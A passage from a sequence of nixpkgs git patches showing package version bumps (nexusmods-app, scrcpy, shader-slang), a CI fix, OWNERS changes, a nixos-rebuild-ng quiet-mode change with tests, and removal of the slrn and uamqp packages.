     "pname": "System.Text.Encoding",
     "version": "4.3.0",
@@ -3064,11 +3039,6 @@
     "version": "7.0.0",
     "hash": "sha256-eCKTVwumD051ZEcoJcDVRGnIGAsEvKpfH3ydKluHxmo="
   },
-  {
-    "pname": "System.Text.Encoding.Extensions",
-    "version": "4.0.11",
-    "hash": "sha256-+kf7J3dEhgCbnCM5vHYlsTm5/R/Ud0Jr6elpHm922iI="
-  },
   {
     "pname": "System.Text.Encoding.Extensions",
     "version": "4.3.0",
@@ -3191,8 +3161,13 @@
   },
   {
     "pname": "TransparentValueObjects",
-    "version": "1.0.2",
-    "hash": "sha256-5d9pIf8hbbcBtj6/oc87f98xEuhBiT6Yq5FR2b/mvUQ="
+    "version": "1.1.0",
+    "hash": "sha256-ofguV7Dk9Wf47JIvYXoFIs7T+Rv4evtUJ7hcqa8xFDo="
+  },
+  {
+    "pname": "TransparentValueObjects.Abstractions",
+    "version": "1.1.0",
+    "hash": "sha256-I2NBomTTExaEhf9/BoplBbDJ9B7YMS3nUOQ5Od4A/e0="
   },
   {
     "pname": "Validation",
diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index 7d703dbe9c2a..1319e1f40166 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -24,12 +24,12 @@ let
 in
 buildDotnetModule (finalAttrs: {
   inherit pname;
-  version = "0.11.3";
+  version = "0.12.3";
 
   src = fetchgit {
     url = "https://github.com/Nexus-Mods/NexusMods.App.git";
     rev = "refs/tags/v${finalAttrs.version}";
-    hash = "sha256-EP51nhFKYfYRjOpgHiGLwXGmpDULoTlGh3hQXhR8sy8=";
+    hash = "sha256-X0zF0zqWwuCt7oWXwfzDtu+7KZ3yMQwQqP45rlfGm/o=";
     fetchSubmodules = true;
   };
 
@@ -64,6 +64,10 @@ buildDotnetModule (finalAttrs: {
   postPatch = ''
     # for some reason these tests fail (intermittently?) with a zero timestamp
     touch tests/NexusMods.UI.Tests/WorkspaceSystem/*.verified.png
+
+    # Assertion assumes version is set to 0.0.1
+    substituteInPlace tests/NexusMods.Telemetry.Tests/TrackingDataSenderTests.cs \
+      --replace-fail 'cra_ct=v0.0.1' 'cra_ct=v${finalAttrs.version}'
   '';
 
   makeWrapperArgs = [

From 574561de38776186d9f683164fbc5de6d032979d Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Wed, 11 Jun 2025 17:20:44 +0000
Subject: [PATCH 0923/4511] doc: correct paths in CUDA update section

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 3f0d99c733524382fa6951505b3c0faa3831e2bb)
---
 doc/languages-frameworks/cuda.section.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 535ce02efbc6..1a40f4cc1a24 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -115,8 +115,8 @@ All new projects should use the CUDA redistributables available in [`cudaPackage
 
 ### Updating supported compilers and GPUs {#updating-supported-compilers-and-gpus}
 
-1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/_cuda/data/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
-2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/_cuda/data/cuda.nix` to include any new GPUs supported by the new release of CUDA.
+1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/_cuda/db/bootstrap/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
+2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/_cuda/db/bootstrap/cuda.nix` to include any new GPUs supported by the new release of CUDA.
 
 ### Updating the CUDA Toolkit runfile installer {#updating-the-cuda-toolkit}
 

From d7722731d3a87d7e3fa512038c6441fc661a8d60 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 12 Jun 2025 20:30:36 +0200
Subject: [PATCH 0924/4511] ci/nixpkgs-vet.sh: fix passing arguments

It currently fails with this:

```
error: lib.fileset.toSource: `root`
(/tmp/nix-shell-19054-0/tmp.MB62qzBqsj/base) is a string-like value, but
it should be a path instead.
   Paths in strings are not supported by `lib.fileset`, use
`lib.sources` or derivations instead.
```

Resolves #416175

(cherry picked from commit 36b76b41414c391e78b63cd3f07377984cd437d7)
---
 ci/nixpkgs-vet.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/nixpkgs-vet.sh b/ci/nixpkgs-vet.sh
index 8ad2a35adfa0..7d6cebc6bfd8 100755
--- a/ci/nixpkgs-vet.sh
+++ b/ci/nixpkgs-vet.sh
@@ -63,4 +63,4 @@ git -C "$tmp/merged" merge -q --no-edit "$baseSha"
 trace -e "\e[34m$(git -C "$tmp/merged" rev-parse HEAD)\e[0m"
 
 trace "Running nixpkgs-vet.."
-nix-build ci -A nixpkgs-vet --argstr base "$tmp/base" --argstr head "$tmp/merged"
+nix-build ci -A nixpkgs-vet --arg base "$tmp/base" --arg head "$tmp/merged"

From de5ffe17c16243f8b0040f2bc24407ff1ac60fcb Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Wed, 11 Jun 2025 15:54:11 -0600
Subject: [PATCH 0925/4511] scrcpy: 3.2 -> 3.3

Diff: https://github.com/Genymobile/scrcpy/compare/v3.2...v3.3
(cherry picked from commit d5aa8122088fb1658a2bb0976f0cd3fb391d354d)
---
 pkgs/by-name/sc/scrcpy/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sc/scrcpy/package.nix b/pkgs/by-name/sc/scrcpy/package.nix
index 2b7630f248f4..c5f92b9a706c 100644
--- a/pkgs/by-name/sc/scrcpy/package.nix
+++ b/pkgs/by-name/sc/scrcpy/package.nix
@@ -17,12 +17,12 @@
 }:
 
 let
-  version = "3.2";
+  version = "3.3";
   prebuilt_server = fetchurl {
     name = "scrcpy-server";
     inherit version;
     url = "https://github.com/Genymobile/scrcpy/releases/download/v${version}/scrcpy-server-v${version}";
-    hash = "sha256-uSDg6gGTa/JIL0ui+phcIsE8YhmZ49M7RbqlrPweo9A=";
+    hash = "sha256-NRyy7cfkwsdfCaeTP9q88Te+UuJgLfFU8k7ALbRunlE=";
   };
 in
 stdenv.mkDerivation rec {
@@ -33,7 +33,7 @@ stdenv.mkDerivation rec {
     owner = "Genymobile";
     repo = "scrcpy";
     tag = "v${version}";
-    hash = "sha256-k53iyCD/f4bsntqqEdmcgHL963BL17vidkgB6AcXkeE=";
+    hash = "sha256-oDv/apC9OOItH4RFqssSo1/cDMyyrBkgLY+KPLEz1+c=";
   };
 
   #   display.c: When run without a hardware accelerator, this allows the command to continue working rather than failing unexpectedly.

From b998027af5ae29534bbed3d6cecd7d91e11d6f52 Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Sat, 24 May 2025 10:12:40 +0100
Subject: [PATCH 0926/4511] =?UTF-8?q?OWNERS:=20add=20more=20standard=20env?=
 =?UTF-8?q?ironment=E2=80=93related=20libraries?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

I think it makes sense for the `stdenv` team to handle review of
changes to these libraries that have substantial effects on the
things in their scope, like the semantics of `stdenv.mkDerivation`,
override interfaces, `meta` handling, and so on. This is already how
`lib/systems/` is handled, and it makes sense to me to extend it.

This would hopefully have helped avoid situations
like <https://github.com/NixOS/nixpkgs/pull/403678> and
<https://github.com/NixOS/nixpkgs/pull/410179>, where the `stdenv`
team was unaware of the original change for weeks.

(cherry picked from commit 1015c45b0e6082bd817e9c40342abdbd27b3df9c)
---
 ci/OWNERS | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index 712d9b8b091c..1249734ecb56 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -29,13 +29,19 @@
 
 # Libraries
 /lib                        @infinisil @hsjobeki
-/lib/systems                @alyssais @ericson2314 @NixOS/stdenv
 /lib/generators.nix         @infinisil @hsjobeki @Profpatsch
 /lib/cli.nix                @infinisil @hsjobeki @Profpatsch
 /lib/debug.nix              @infinisil @hsjobeki @Profpatsch
 /lib/asserts.nix            @infinisil @hsjobeki @Profpatsch
 /lib/path/*                 @infinisil @hsjobeki
 /lib/fileset                @infinisil @hsjobeki
+## Standard environment–related libraries
+/lib/customisation.nix      @alyssais @NixOS/stdenv
+/lib/derivations.nix        @alyssais @NixOS/stdenv
+/lib/fetchers.nix           @alyssais @NixOS/stdenv
+/lib/meta.nix               @alyssais @NixOS/stdenv
+/lib/source-types.nix       @alyssais @NixOS/stdenv
+/lib/systems                @alyssais @NixOS/stdenv
 ## Libraries / Module system
 /lib/modules.nix            @infinisil @roberth @hsjobeki
 /lib/types.nix              @infinisil @roberth @hsjobeki

From 38989239066d393786461bf930372516c96b5037 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Wed, 11 Jun 2025 22:47:27 +0100
Subject: [PATCH 0927/4511] nixos-rebuild-ng: silence reexec messages

Right now reexec is really verbose when it fails: let's say the
configuration has a eval error, you will see the evaluation error twice,
once in during the reexec and another one when the configuration is
evaluated.

This commit changes this behavior so the evaluation done during re-exec
process is silent. It is still possible to check the error with `--debug` flag.

(cherry picked from commit 4935f5f09bfecfc9d8fab1aeb1a2a9b2ca9487ed)
---
 .../src/nixos_rebuild/__init__.py             | 18 ++++++++-----
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py |  6 +++--
 .../nixos-rebuild-ng/src/tests/test_main.py   | 11 +++++++-
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py | 26 ++++++++++++++++++-
 4 files changed, 50 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index fd03e5b69ef4..78b961b03e16 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -13,7 +13,9 @@ from .models import Action, BuildAttr, Flake, ImageVariants, NRError, Profile
 from .process import Remote, cleanup_ssh
 from .utils import Args, LogFormatter, tabulate
 
-logger: Final = logging.getLogger()
+NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
+
+logger: Final = logging.getLogger(__name__)
 logger.setLevel(logging.INFO)
 
 
@@ -276,26 +278,28 @@ def reexec(
     flake_build_flags: Args,
 ) -> None:
     drv = None
-    attr = "config.system.build.nixos-rebuild"
     try:
         # Parsing the args here but ignore ask_sudo_password since it is not
         # needed and we would end up asking sudo password twice
         if flake := Flake.from_arg(args.flake, Remote.from_arg(args.target_host, None)):
             drv = nix.build_flake(
-                attr,
+                NIXOS_REBUILD_ATTR,
                 flake,
                 flake_build_flags | {"no_link": True},
+                quiet=True,
             )
         else:
             build_attr = BuildAttr.from_arg(args.attr, args.file)
             drv = nix.build(
-                attr,
+                NIXOS_REBUILD_ATTR,
                 build_attr,
                 build_flags | {"no_out_link": True},
+                quiet=True,
             )
     except CalledProcessError:
         logger.warning(
-            "could not build a newer version of nixos-rebuild, using current version"
+            "could not build a newer version of nixos-rebuild, using current version",
+            exc_info=logger.isEnabledFor(logging.DEBUG),
         )
 
     if drv:
@@ -319,9 +323,9 @@ def reexec(
                 # - Exec format error (e.g.: another OS/CPU arch)
                 logger.warning(
                     "could not re-exec in a newer version of nixos-rebuild, "
-                    + "using current version"
+                    + "using current version",
+                    exc_info=logger.isEnabledFor(logging.DEBUG),
                 )
-                logger.debug("re-exec exception", exc_info=True)
                 # We already run clean-up, let's re-exec in the current version
                 # to avoid issues
                 os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 3be610b5ddbd..dc95b914b360 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -51,6 +51,7 @@ def build(
     attr: str,
     build_attr: BuildAttr,
     build_flags: Args | None = None,
+    quiet: bool = False,
 ) -> Path:
     """Build NixOS attribute using classic Nix.
 
@@ -63,7 +64,7 @@ def build(
         build_attr.to_attr(attr),
         *dict_to_flags(build_flags),
     ]
-    r = run_wrapper(run_args, stdout=PIPE)
+    r = run_wrapper(run_args, stdout=PIPE, stderr=PIPE if quiet else None)
     return Path(r.stdout.strip())
 
 
@@ -71,6 +72,7 @@ def build_flake(
     attr: str,
     flake: Flake,
     flake_build_flags: Args | None = None,
+    quiet: bool = False,
 ) -> Path:
     """Build NixOS attribute using Flakes.
 
@@ -84,7 +86,7 @@ def build_flake(
         flake.to_attr(attr),
         *dict_to_flags(flake_build_flags),
     ]
-    r = run_wrapper(run_args, stdout=PIPE)
+    r = run_wrapper(run_args, stdout=PIPE, stderr=PIPE if quiet else None)
     return Path(r.stdout.strip())
 
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 59270b73ec38..22b7054000a8 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -140,9 +140,10 @@ def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -
     mock_build.assert_has_calls(
         [
             call(
-                "config.system.build.nixos-rebuild",
+                nr.NIXOS_REBUILD_ATTR,
                 nr.models.BuildAttr(ANY, ANY),
                 {"build": True, "no_out_link": True},
+                quiet=True,
             )
         ]
     )
@@ -187,6 +188,7 @@ def test_reexec_flake(
         "config.system.build.nixos-rebuild",
         nr.models.Flake(ANY, ANY),
         {"flake": True, "no_link": True},
+        quiet=True,
     )
     # do not exec if there is no new version
     mock_execve.assert_not_called()
@@ -266,6 +268,7 @@ def test_execute_nix_boot(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -340,6 +343,7 @@ def test_execute_nix_build_vm(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             )
         ]
@@ -404,6 +408,7 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -471,6 +476,7 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -761,6 +767,7 @@ def test_execute_nix_switch_flake_target_host(
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
@@ -1028,6 +1035,7 @@ def test_execute_build(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             )
         ]
@@ -1067,6 +1075,7 @@ def test_execute_test_flake(mock_run: Mock, tmp_path: Path) -> None:
                 ],
                 check=True,
                 stdout=PIPE,
+                stderr=None,
                 **DEFAULT_RUN_KWARGS,
             ),
             call(
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index d87b6b62dca8..195f929aaf53 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -36,14 +36,18 @@ def test_build(mock_run: Mock) -> None:
             "foo",
         ],
         stdout=PIPE,
+        stderr=None,
     )
 
     assert n.build(
-        "config.system.build.attr", m.BuildAttr(Path("file"), "preAttr")
+        "config.system.build.attr",
+        m.BuildAttr(Path("file"), "preAttr"),
+        quiet=True,
     ) == Path("/path/to/file")
     mock_run.assert_called_with(
         ["nix-build", Path("file"), "--attr", "preAttr.config.system.build.attr"],
         stdout=PIPE,
+        stderr=PIPE,
     )
 
 
@@ -74,6 +78,26 @@ def test_build_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) ->
             "foo",
         ],
         stdout=PIPE,
+        stderr=None,
+    )
+
+    assert n.build_flake(
+        "config.system.build.toplevel",
+        flake,
+        None,
+        quiet=True,
+    ) == Path("/path/to/file")
+    mock_run.assert_called_with(
+        [
+            "nix",
+            "--extra-experimental-features",
+            "nix-command flakes",
+            "build",
+            "--print-out-paths",
+            '.#nixosConfigurations."hostname".config.system.build.toplevel',
+        ],
+        stdout=PIPE,
+        stderr=PIPE,
     )
 
 

From 85743104ed6bd6f072d54c5ed7d1c2caf0f88205 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 19:21:47 -0400
Subject: [PATCH 0928/4511] slrn: drop

Broken and unmaintained upstream (the correct repo is https://github.com/jedsoft/slrn).

(cherry picked from commit 7f362e91c4e162d780eb3563fb9a78f132723c46)
---
 pkgs/by-name/sl/slrn/package.nix | 44 --------------------------------
 pkgs/top-level/aliases.nix       |  1 +
 2 files changed, 1 insertion(+), 44 deletions(-)
 delete mode 100644 pkgs/by-name/sl/slrn/package.nix

diff --git a/pkgs/by-name/sl/slrn/package.nix b/pkgs/by-name/sl/slrn/package.nix
deleted file mode 100644
index 78de45eb9904..000000000000
--- a/pkgs/by-name/sl/slrn/package.nix
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  slang,
-  ncurses,
-  openssl,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "slrn";
-  version = "1.0.3a";
-
-  src = fetchurl {
-    url = "http://www.jedsoft.org/releases/slrn/slrn-${version}.tar.bz2";
-    sha256 = "1b1d9iikr60w0vq86y9a0l4gjl0jxhdznlrdp3r405i097as9a1v";
-  };
-
-  preConfigure = ''
-    sed -i -e "s|-ltermcap|-lncurses|" configure
-    sed -i autoconf/Makefile.in src/Makefile.in \
-      -e "s|/bin/cp|cp|"  \
-      -e "s|/bin/rm|rm|"
-  '';
-
-  configureFlags = [
-    "--with-slang=${slang.dev}"
-    "--with-ssl=${openssl.dev}"
-    "--with-slrnpull"
-  ];
-
-  buildInputs = [
-    slang
-    ncurses
-    openssl
-  ];
-
-  meta = with lib; {
-    description = "Slrn (S-Lang read news) newsreader";
-    homepage = "https://slrn.sourceforge.net/index.html";
-    license = licenses.gpl2;
-    platforms = with platforms; linux;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c8f4710f594..529bf8180b15 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1727,6 +1727,7 @@ mapAliases {
   skypeforlinux = throw "Skype has been shut down in May 2025"; # Added 2025-05-05
   slack-dark = throw "'slack-dark' has been renamed to/replaced by 'slack'"; # Converted to throw 2024-10-17
   slimerjs = throw "slimerjs does not work with any version of Firefox newer than 59; upstream ended the project in 2021. <https://slimerjs.org/faq.html#end-of-development>"; # added 2025-01-06
+  slrn = throw "'slrn' has been removed because it is unmaintained upstream and broken."; # Added 2025-06-11
   slurm-llnl = slurm; # renamed July 2017
   sm64ex-coop = throw "'sm64ex-coop' was removed as it was archived upstream. Consider migrating to 'sm64coopdx'"; # added 2024-11-23
   smartgithg = smartgit; # renamed March 2025

From dc5ea95ce6381e7fdbcec527f85faf1736e67d8a Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 19:02:37 -0400
Subject: [PATCH 0929/4511] python3Packages.uamqp: drop

Deprecated and broken.

(cherry picked from commit 428b63d4ace52e07d0dee3747a1d9dfa759bc064)
---
 .../python-modules/uamqp/default.nix          | 85 -------------------
 pkgs/top-level/python-aliases.nix             |  1 +
 pkgs/top-level/python-packages.nix            |  2 -
 3 files changed, 1 insertion(+), 87 deletions(-)
 delete mode 100644 pkgs/development/python-modules/uamqp/default.nix

diff --git a/pkgs/development/python-modules/uamqp/default.nix b/pkgs/development/python-modules/uamqp/default.nix
deleted file mode 100644
index 89769859cdf7..000000000000
--- a/pkgs/development/python-modules/uamqp/default.nix
+++ /dev/null
@@ -1,85 +0,0 @@
-{
-  lib,
-  stdenv,
-  buildPythonPackage,
-  fetchFromGitHub,
-  fetchpatch2,
-  setuptools,
-  cython,
-  certifi,
-  cmake,
-  openssl,
-  pytestCheckHook,
-  pytest-asyncio,
-}:
-
-buildPythonPackage rec {
-  pname = "uamqp";
-  version = "1.6.11";
-  pyproject = true;
-
-  src = fetchFromGitHub {
-    owner = "Azure";
-    repo = "azure-uamqp-python";
-    tag = "v${version}";
-    hash = "sha256-HTIOHheCrvyI7DwA/UcUXk/fbesd29lvUvJ9TAeG3CE=";
-  };
-
-  patches = [
-    (fetchpatch2 {
-      name = "fix-clang16-compatibility.patch";
-      url = "https://github.com/Azure/azure-uamqp-python/commit/bd6d9ef5a8bca3873e1e66218fd09ca787b8064e.patch";
-      hash = "sha256-xtnIVjB71EPJp/QjLQWctcSDds5s6n4ut+gnvp3VMlM=";
-    })
-  ];
-
-  postPatch = lib.optionalString (stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isx86_64) ''
-    # force darwin aarch64 to use openssl instead of applessl, removing
-    # some quirks upstream thinks they need to use openssl on macos
-    sed -i \
-      -e '/^use_openssl =/cuse_openssl = True' \
-      -e 's/\bazssl\b/ssl/' \
-      -e 's/\bazcrypto\b/crypto/' \
-      setup.py
-    sed -i \
-      -e '/#define EVP_PKEY_id/d' \
-      src/vendor/azure-uamqp-c/deps/azure-c-shared-utility/adapters/x509_openssl.c
-    sed -z -i \
-      -e 's/OpenSSL 3\nif(LINUX)/OpenSSL 3\nif(1)/' \
-      src/vendor/azure-uamqp-c/deps/azure-c-shared-utility/CMakeLists.txt
-  '';
-
-  build-system = [
-    cython
-    setuptools
-  ];
-
-  nativeBuildInputs = [
-    cmake
-  ];
-
-  buildInputs = [ openssl ];
-
-  dependencies = [ certifi ];
-
-  dontUseCmakeConfigure = true;
-
-  preCheck = ''
-    # remove src module, so tests use the installed module instead
-    rm -r uamqp
-  '';
-
-  nativeCheckInputs = [
-    pytestCheckHook
-    pytest-asyncio
-  ];
-
-  pythonImportsCheck = [ "uamqp" ];
-
-  meta = with lib; {
-    description = "AMQP 1.0 client library for Python";
-    homepage = "https://github.com/Azure/azure-uamqp-python";
-    license = licenses.mit;
-    maintainers = with maintainers; [ maxwilson ];
-  };
-}
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index 53133cb072aa..052edce0f572 100644
--- a/pkgs/top-level/python-aliases.nix
+++ b/pkgs/top-level/python-aliases.nix
@@ -777,6 +777,7 @@ mapAliases ({
   types-cryptography = throw "types-cryptography has been removed because it is obsolete since cryptography version 3.4.4."; # added 2022-05-30
   types-enum34 = throw "types-enum34 is obselete since Python 3.4"; # added 2025-02-15
   types-paramiko = throw "types-paramiko has been removed because it was unused."; # added 2022-05-30
+  uamqp = throw "'uamqp' has been removed because it is broken and unmaintained."; # added 2025-06-11
   ufoLib2 = ufolib2; # added 2024-01-07
   ukrainealarm = throw "ukrainealarm has been removed, as it has been replaced as a home-assistant dependency by uasiren."; # added 2024-01-05
   unblob-native = throw "unblob-native has been removed because its functionality is merged into unblob 25.4.14."; # Added 2025-05-02
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 17e5b711c8c6..212a9f001d90 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -18379,8 +18379,6 @@ self: super: with self; {
 
   ua-parser-rs = callPackage ../development/python-modules/ua-parser-rs { };
 
-  uamqp = callPackage ../development/python-modules/uamqp { };
-
   uarray = callPackage ../development/python-modules/uarray { };
 
   uart-devices = callPackage ../development/python-modules/uart-devices { };

From d8e3bfc261c50e8fc77f04fe5f1b6951178ef1dc Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Sat, 10 May 2025 11:56:05 +0200
Subject: [PATCH 0930/4511] shader-slang: 2025.6.1 -> 2025.8.1

Changelogs:

- https://github.com/shader-slang/slang/releases/tag/v2025.8.1
- https://github.com/shader-slang/slang/releases/tag/v2025.8
- https://github.com/shader-slang/slang/releases/tag/v2025.7.1
- https://github.com/shader-slang/slang/releases/tag/v2025.7
- https://github.com/shader-slang/slang/releases/tag/v2025.6.4
- https://github.com/shader-slang/slang/releases/tag/v2025.6.3
- https://github.com/shader-slang/slang/releases/tag/v2025.6.2

(cherry picked from commit 04727324c2902f0e7403a3e386b6aabd5c279b95)
---
 .../sh/shader-slang/1-find-packages.patch     | 24 ++++++++++++-------
 pkgs/by-name/sh/shader-slang/package.nix      |  4 ++--
 2 files changed, 17 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/sh/shader-slang/1-find-packages.patch b/pkgs/by-name/sh/shader-slang/1-find-packages.patch
index 2cab123bc9ff..351c306521f3 100644
--- a/pkgs/by-name/sh/shader-slang/1-find-packages.patch
+++ b/pkgs/by-name/sh/shader-slang/1-find-packages.patch
@@ -1,8 +1,8 @@
 diff --git a/CMakeLists.txt b/CMakeLists.txt
-index dc281211..c36b9bcb 100644
+index a933d0ab64..fced38bc32 100644
 --- a/CMakeLists.txt
 +++ b/CMakeLists.txt
-@@ -154,6 +154,8 @@ advanced_option(
+@@ -160,6 +160,8 @@ advanced_option(
      "Build using system unordered dense"
      OFF
  )
@@ -11,7 +11,7 @@ index dc281211..c36b9bcb 100644
  
  option(
      SLANG_SPIRV_HEADERS_INCLUDE_DIR
-@@ -289,6 +291,34 @@ if(${SLANG_USE_SYSTEM_UNORDERED_DENSE})
+@@ -386,6 +388,34 @@ if(${SLANG_USE_SYSTEM_UNORDERED_DENSE})
      find_package(unordered_dense CONFIG QUIET)
  endif()
  
@@ -47,10 +47,10 @@ index dc281211..c36b9bcb 100644
  
  # webgpu_dawn is only available as a fetched shared library, since Dawn's nested source
 diff --git a/external/CMakeLists.txt b/external/CMakeLists.txt
-index 43105a5f..8b9c0f14 100644
+index 55d9e4941d..ff8a244651 100644
 --- a/external/CMakeLists.txt
 +++ b/external/CMakeLists.txt
-@@ -73,19 +73,24 @@ if(NOT ${SLANG_USE_SYSTEM_SPIRV_HEADERS})
+@@ -117,6 +117,7 @@ if(NOT ${SLANG_USE_SYSTEM_SPIRV_HEADERS})
  endif()
  
  if(SLANG_ENABLE_SLANG_GLSLANG)
@@ -58,9 +58,10 @@ index 43105a5f..8b9c0f14 100644
      # SPIRV-Tools
      set(SPIRV_TOOLS_BUILD_STATIC ON)
      set(SPIRV_WERROR OFF)
-     set(SPIRV_HEADER_DIR "${CMAKE_CURRENT_LIST_DIR}/spirv-headers/")
-     set(SPIRV_SKIP_TESTS ON)
-     add_subdirectory(spirv-tools EXCLUDE_FROM_ALL ${system})
+@@ -138,11 +139,14 @@ if(SLANG_ENABLE_SLANG_GLSLANG)
+             ${system}
+         )
+     endif()
 +endif()
  
 +if(NOT ${SLANG_USE_SYSTEM_GLSLANG})
@@ -69,7 +70,12 @@ index 43105a5f..8b9c0f14 100644
      set(ENABLE_OPT ON)
      set(ENABLE_PCH OFF)
 +    set(ALLOW_EXTERNAL_SPIRV_TOOLS ${SLANG_USE_SYSTEM_SPIRV_TOOLS})
-     add_subdirectory(glslang EXCLUDE_FROM_ALL ${system})
+     if(NOT SLANG_OVERRIDE_GLSLANG_PATH)
+         add_subdirectory(glslang EXCLUDE_FROM_ALL ${system})
+     else()
+@@ -154,6 +158,7 @@ if(SLANG_ENABLE_SLANG_GLSLANG)
+         )
+     endif()
  endif()
 +endif()
  
diff --git a/pkgs/by-name/sh/shader-slang/package.nix b/pkgs/by-name/sh/shader-slang/package.nix
index ef04aac610a0..703f05a069a1 100644
--- a/pkgs/by-name/sh/shader-slang/package.nix
+++ b/pkgs/by-name/sh/shader-slang/package.nix
@@ -27,13 +27,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "shader-slang";
-  version = "2025.6.1";
+  version = "2025.8.1";
 
   src = fetchFromGitHub {
     owner = "shader-slang";
     repo = "slang";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-yNPAJX7OxxQLXDm3s7Hx5QA9fxy1qbAMp4LKYVqxMVM=";
+    hash = "sha256-PScbMkJJ4rh8I8ID709GKtLmd5+4Z2x2BlFEdWpoesI=";
     fetchSubmodules = true;
   };
 

From eedaf08cd441eef90ffdc70c91e10b4542b45b24 Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Thu, 12 Jun 2025 11:52:41 +0200
Subject: [PATCH 0931/4511] shader-slang: set meta.changelog

(cherry picked from commit 33beb3411b27fd25889b47e358931f4df5774b4a)
---
 pkgs/by-name/sh/shader-slang/package.nix | 1 +
 1 file changed, 1 insertion(+)

